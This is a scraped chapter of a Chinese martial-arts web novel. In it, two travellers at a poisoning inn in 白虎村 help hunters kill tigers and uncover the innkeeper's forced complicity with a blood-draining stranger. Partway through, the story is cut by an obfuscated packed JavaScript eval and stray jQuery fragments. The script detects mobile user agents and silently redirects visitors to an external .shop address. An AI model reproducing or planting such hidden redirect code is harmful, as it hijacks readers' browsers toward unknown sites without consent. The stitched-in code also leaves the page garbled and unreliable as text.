文趣网 > 其他小说 > 天下第二竟是我自己 > 6. 白虎
    “这不省心的孩子,”老板尴尬一笑,“客官,我先过去看一眼。”

    从村口一路走来,白虎村的氛围有种说不上来的诡异。大大小小的房屋村舍,快一半都是空的。外乡人的热闹浮在空中不能落地,村民的笑与面具上的笑容弧度一致。

    见老板离去,雁观南从怀里摸出两枚黑色药丸,分别投入烧酒与热茶中。药丸迅速消失在茶水中,烧酒却变为黑色腾腾作响。

    雁观南接过江越倒的茶水,眉微挑,心想:“这是遇上黑店了?”道:“若接下来都走官道,还需五天半。时间算下来,还挺充裕。”她还没见过黑店,若能住一晚,见识下黑店的手段那是再好不过了。

    江越道:“天黑之前出发,能提前半日到达安平城。”

    “那我去看看这家的马,”雁观南起身去到后院,见弓弩箭矢摆了一地,还有两柄长刀。一女一男正在收拾行囊,年龄约莫十三四岁。雁观南无地下脚,喊道:“小姑娘,我是来这儿吃饭的,顺道看看你家的马。”

    这才发现有人来,姑娘道:“客官你稍等。”仰头大喊:“陈二,有人看马!”接着旁若无人地继续收拾。

    陈二碎步跑来,见满地狼藉,把东西拢到一处。雁观南跟着他走去,随口道:“这么多弓箭,他们善射箭,真厉害。”

    陈二腼腆笑笑:“是嘞。他们从小就爱这些玩意儿。老板想让他们多些书卷气儿,给取名为陈书陈画。结果琴棋书画不行,骑射打猎倒是好手。你说,这真是反过来了。”

    雁观南道:“这会儿在准备,是要夜猎吗?”

    陈二叹道:“是嘞。我们村子近日来不太平,他们等太阳落山再出去。”说着,打开栅栏门。

    雁观南抚摸马身,道:“这马看着不错。我先回去商量一下。”

    老板端菜摆桌,道:“姑娘,菜上齐了。”未有离开的意思,站在一旁笑意盈盈。见雁观南两人不动筷子,忙道:“味道如何,不好的地方尽管说,不满意的菜我给你们换。”

    江越夹下一筷鱼肉,细细品味后,温声道:“老板不用担心,味道很好。你先去忙吧,我们慢慢吃。”又挑起一株青菜。雁观南闷头吃饭,不停地夹菜,吃得起劲。老板离开后,仍是如此。江越停下筷子,轻声道:“若想在黑店里住一晚,何必做到这样逼真。”

    雁观南囫囵吞下,喝尽杯中的茶水,凑近他道:“刚才我出去吃了两颗药,什么蒙汗药之类的东西对我没用。若菜里下了更毒的东西,奔着你命来,你也躲不开。说不定一进屋就中招了。”

    想起黄泉坊下毒的方式,江越被她说服,轻声道:“什么药丸给我一颗。”

    不再有所顾忌,两人风卷残云解决了所有菜。

    饭后,江越坚持出发。换马时,陈二吞吞吐吐,像下了很大的决心,道:“二位,从白虎村出发,无论是往哪个方向走,都要经过白虎林。白虎林里,自然是有老虎的。去年秋冬开始,老虎常常在林子里出门,甚至夜袭村民。十多天前,就是这个时候,又有几个村民死在老虎爪下。你们赶路若不着急,等明早再走吧。”

    雁观南道:“所以老板的一双儿女是要去打虎?”

    陈二点点头,道:“这也是不得不做的事。老虎是百兽之王,深受村民敬畏。再加之我们村子就叫白虎村,上至八十岁的老太,下至三岁幼童,都认为老虎在暗中护佑我们。所以我们村的猎户从来都不去捕虎,见到有这方面心思的人都会出手制止。可前两年开始,有村民在白虎林里发现被放了血的老虎尸体。从那时开始,村子里就莫名死人。一月前,又有人看到失血干脱的老虎。”

    “村里请人做法事,却从上天那里得到不祥的指示。陆陆续续有村民搬走。为了继续做生意,都将这事埋在心里,尤其不能与你们这些客人讲。可世上没有不漏风的墙,白虎村成了不祥之地这件事,还是慢慢传了出去。总之,今天能不走就不走,在村子里至少人多不心慌。”

    陈二言辞之真诚,面容之关切,很是让雁观南感动,可是她的水壶里还装着黑色的烧酒。不能在黑店里待一晚,经过有虎出入的林子也让人激动。雁观南心想:“虽然在深山老林的世外桃源中长大,可还没有见过老虎。”

    雁观南道:“一面之缘,谢谢你跟我们讲这些。若不是时间紧迫,我们就住一晚了。”

    江越道:“趁天还未黑,我们出发吧。”躬身进入车内,心想:“老虎定没有人可怕。”

    车轮缓缓转起来。着一身深色短打,裤脚处紧紧缠着厚兽皮绑腿的女子从对面走来。女子背着弓弩,腰挂长刀,一面走上阶梯,一面喊道:“陈书陈画,收拾好了没。不要墨迹。”

    陈书回道:“平姨,你来看看我们要带的东西。”几人谈话声渐渐落在身后。

    一轮明月缓缓升起。

    雁观南二人即将穿过白虎林。一路上,响彻天际的怒吼频频出现,然后离他们越来越远,最终一片宁静。雁观南期盼这是陈书几人已经平安降伏恶虎,心里又止不住的痒痒,期待能去看看。

    江越展开巨幅地图,用手指画着路线,道:“接下来我们转到官道上去,路更好走,马跑起来也轻松。不到六天,就能到达安平。到时,一手交钱一手交药。”

    没有回答他,雁观南思绪飘飞:“没有什么意外,不用喊大哥来安平了。师傅和明远这会儿在做什么?找不到人比武,可以下请战书。哪些门派使剑?对了,我要去茶馆里好生听一场说书。武林刀剑会明年十月举行,到那时,我的武功会比现在高多少......”

    嘶声裂肺的吼叫声划破天际,老虎又出现了。紧接着,一声慌乱的尖叫声传来:“平姨,小心!”

    雁观南赶忙勒住马。听声断方位,陈书几人与老虎在西北方向,离自己相聚十里以内。准备施展轻功赶过去相助,离地几寸突然记起江越。

    雁观南道:“老虎不会上树,我先把你送到树上。”

    江越伸手制止:“你去吧,老虎应该不会跑过来。”“你去吧”三字一出,雁观南已消失在眼前。江越看着月光下的林子,小声道:“应该不会有其它的老虎吧。”

    雁观南远远地望见陈书一行三人与两头大虎。她纵跃而下,一只吊精白额大虫立马调转方向向她扑来。老虎脊背四肢已插满密密麻麻的铁剑。铁剑足有一尺之宽,没入老虎血肉半尺之深。老虎一点儿没受影响,仍是暴烈生气勃勃。雁观南心想:“老虎是这样耐砍吗?”长剑一立,不退反进。老虎前爪中空,猛力扑来,堪堪划到雁观南脸上。她身形微侧,越到老虎身后,自上而下一剑劈刺在老虎背上。剑刃入肉寸许,未伤其要害。雁观南拔剑而出,向后落到树枝上。猩红虎血顺着剑滴落。

    老虎巨口大张,露出森白獠牙,一声怒吼震得人耳膜发颤。它反身向树扑来,身量庞大,动作敏捷。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570136|204897||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    与另一只大虫搏斗追逃的陈书喊道:“刺它颈侧!耳朵下方与前腿之间!”

    雁观南闻声跃向右首,手腕一翻,长剑已贴近老虎颈侧。老虎甩头欲向左躲去。长剑一刺一松,正中要害。老虎颈侧红血喷出,身形一滞,轰然倒地。

    另一只大虫右后腿已被砍掉半截,迅捷丝毫不减,拖着丝丝红血猛扑反击。陈画被扑倒在地,横着长刀抵死猛虎的前爪。

    陈平与陈书衣衫上布满数条划痕,血迹斑斑。陈书拿起长刀,向老虎颈侧砍去。长时间打斗后,力气渐失,一刀刚接触皮毛,老虎身腹一偏,将她弹出几里之外。趁此时机,陈平射出一箭,正中老虎颈侧。老虎身形一凝,陈平赶忙补上几箭。老虎落倒在陈画身上。

    见此,陈平一屁股坐在地上,喘着粗气。

    雁观南把死虎推开,扶陈画坐到树下。陈平踉跄地站起,晃悠悠地踱到这棵大树旁,后背抵着树干,瘫坐在地。见三人劲装被血和汗水浸透,死死黏在身上。雁观南想自作主张地把马车牵来,将三人送回客栈。

    正欲开口,陈书下巴微微扬起,对雁观南示意:“姑娘,你的同伴来了。”

    隔着十棵树,江越驾马而来。

    来得正好!雁观南一拍大腿,站起身来,又从兜里掏出一个白瓷小瓶,递给陈书:“这是治外伤的,效果很好。”

    陈书接过,看见白瓷瓶上一枝四花,笑道:“还挺好看。谢谢。”收入囊中后,又道:“还有两只老虎在前边,能否送我们到那里。之后我们就自己走。”

    未及雁观南回应,陈平道:“陈书,你要把这些老虎尸身搬回去吗?”

    “伤人的是老虎,护佑我们的不是老虎。把虎皮剥了,还能卖钱。”陈书怨怼地道。

    一旁陈画突然说道:“姐,我要喝水。”

    江越止住马,听见这话,道:“我这儿有你们店里下过毒的水。你不介意的话,我给你拿过来。”

    “对不起,”陈书闻言便明白了什么,脱口而出一句抱歉。

    “我,我很抱歉。我已经给娘说过了,没想到她还是在做这事儿。”

    “什么事儿?”陈平一脸茫然,怒道“你娘怎会给人下毒,这事儿我怎么从未听说过。”

    经过一晚上的鏖战,陈书力气尽失,又碰巧得知母亲仍在下毒的事情,激动不已,张嘴却无力说出一个字。

    陈平见此,脸上多了几分愧色,拔起一把草,团在手心。

    陈书盯着地上,不断地深呼吸,平稳气息道:“某次娘进林子采草菇,在白虎崖那里发现山洞有人吵闹。她躲树后看,是陈水叔和一个外乡人。外乡人拿刀,给陈水叔放了几个酒壶那么多的血。娘害怕,想回村里找人救陈水叔。没走几步,那外乡人就把她捉住了。娘见陈水叔已经昏过去,对外乡人问的问题有一个答一个。外乡人知道娘开客栈,让她每月都要送来两个人。娘为了回村,答应了她,第一个月本想找理由搪塞过去,结果那月我和弟弟出门打猎,遇上陷阱,四肢骨折。”

    “娘害怕,不敢不听那个外乡人的话。去年年底,我发现她偷偷摸摸地出门,跟着她才发现这事。”说到此处,陈书抽泣起来,慢慢地放声大哭。压在心底的事一口气说出来,得到很多畅快。

    江越道:“既然事情说清,我们送你们回去吧。”又对雁观南道:“明早我不想吃白面大饼,今天去客栈歇息一夜。”